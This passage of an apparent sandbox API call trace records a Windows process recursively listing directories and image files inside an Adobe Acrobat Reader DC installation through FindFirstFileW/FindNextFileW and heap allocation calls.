hFindFile=0x33e4ee8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0cbb036, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0262.958] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0cbb036, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0cbb036, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0262.958] GetProcessHeap () returned 0xc10000 [0262.958] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0263.120] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\css\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0cbb036, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0cbb036, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0263.121] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0cbb036, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0cbb036, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.121] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0cbb036, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0cbb036, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0cbb036, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0263.121] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0263.122] GetProcessHeap () returned 0xc10000 [0263.122] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0263.122] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0263.122] GetProcessHeap () returned 0xc10000 [0263.122] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0263.122] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\images\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf062c878, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0263.126] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf062c878, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.126] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0488fd7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0488fd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0488fd7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xe7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="adc_logo.png", cAlternateFileName="")) returned 1 [0263.126] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0416745, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0416745, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf043c9a8, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x22c, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobe_spinner.gif", cAlternateFileName="ADOBE_~1.GIF")) returned 1 [0263.126] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0488fd7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0488fd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0488fd7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x7394, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons.png", cAlternateFileName="CORE_I~2.PNG")) returned 1 [0263.126] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0416745, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0416745, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0416745, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x104ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="core_icons_retina.png", cAlternateFileName="CORE_I~1.PNG")) returned 1 [0263.127] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf062c878, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf062c878, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf062c878, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x468, dwReserved0=0x0, dwReserved1=0x0, cFileName="download-btn.png", cAlternateFileName="DOWNLO~1.PNG")) returned 1 [0263.127] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="email", cAlternateFileName="")) returned 1 [0263.127] GetProcessHeap () returned 0xc10000 [0263.127] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0263.128] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\images\\email\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0416745, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0263.133] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0416745, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.134] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="adc_logo.png", cAlternateFileName="")) returned 1 [0263.134] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x289, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobe_logo.png", cAlternateFileName="ADOBE_~1.PNG")) returned 1 [0263.134] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x101c, dwReserved0=0x0, dwReserved1=0x0, cFileName="dc_logo.png", cAlternateFileName="")) returned 1 [0263.134] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dummy", cAlternateFileName="")) returned 1 [0263.134] GetProcessHeap () returned 0xc10000 [0263.134] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0263.134] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\images\\email\\dummy\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0263.135] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.135] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x8bd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobe-old-logo.jpg", cAlternateFileName="ADOBE-~1.JPG")) returned 1 [0263.135] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2ee3, dwReserved0=0x0, dwReserved1=0x0, cFileName="fake_logo.png", cAlternateFileName="FAKE_L~1.PNG")) returned 1 [0263.135] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2ee3, dwReserved0=0x0, dwReserved1=0x0, cFileName="fake_logo.png", cAlternateFileName="FAKE_L~1.PNG")) returned 0 [0263.135] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0263.136] GetProcessHeap () returned 0xc10000 [0263.136] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0263.136] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0416745, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="empty.png", cAlternateFileName="")) returned 1 [0263.136] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 1 [0263.136] GetProcessHeap () returned 0xc10000 [0263.136] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0263.136] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\images\\email\\themes\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0263.140] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.140] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 1 [0263.140] GetProcessHeap () returned 0xc10000 [0263.140] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3932890 [0263.140] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\images\\email\\themes\\dark\\*", lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0263.141] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.141] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x6dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="adc_logo.png", cAlternateFileName="")) returned 1 [0263.141] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x289, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobe_logo.png", cAlternateFileName="ADOBE_~1.PNG")) returned 1 [0263.141] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d5f0 | out: lpFindFileData=0x2e5d5f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x289, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobe_logo.png", cAlternateFileName="ADOBE_~1.PNG")) returned 0 [0263.141] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0263.141] GetProcessHeap () returned 0xc10000 [0263.142] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3932890 | out: hHeap=0xc10000) returned 1 [0263.142] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dark", cAlternateFileName="")) returned 0 [0263.142] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0263.142] GetProcessHeap () returned 0xc10000 [0263.142] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0263.142] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themes", cAlternateFileName="")) returned 0 [0263.142] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0263.143] GetProcessHeap () returned 0xc10000 [0263.143] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0263.144] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0488fd7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0488fd7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0488fd7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="file_info.png", cAlternateFileName="FILE_I~1.PNG")) returned 1 [0263.144] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf062c878, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf062c878, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf062c878, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0x0, dwReserved1=0x0, cFileName="file_info2x.png", cAlternateFileName="FILE_I~2.PNG")) returned 1 [0263.144] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf062c878, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf062c878, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xd43, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations.png", cAlternateFileName="ILLUST~2.PNG")) returned 1 [0263.144] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf043c9a8, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf043c9a8, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0488fd7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1d07, dwReserved0=0x0, dwReserved1=0x0, cFileName="illustrations_retina.png", cAlternateFileName="ILLUST~1.PNG")) returned 1 [0263.144] FindNextFileW (in: hFindFile=0x33e47e8, 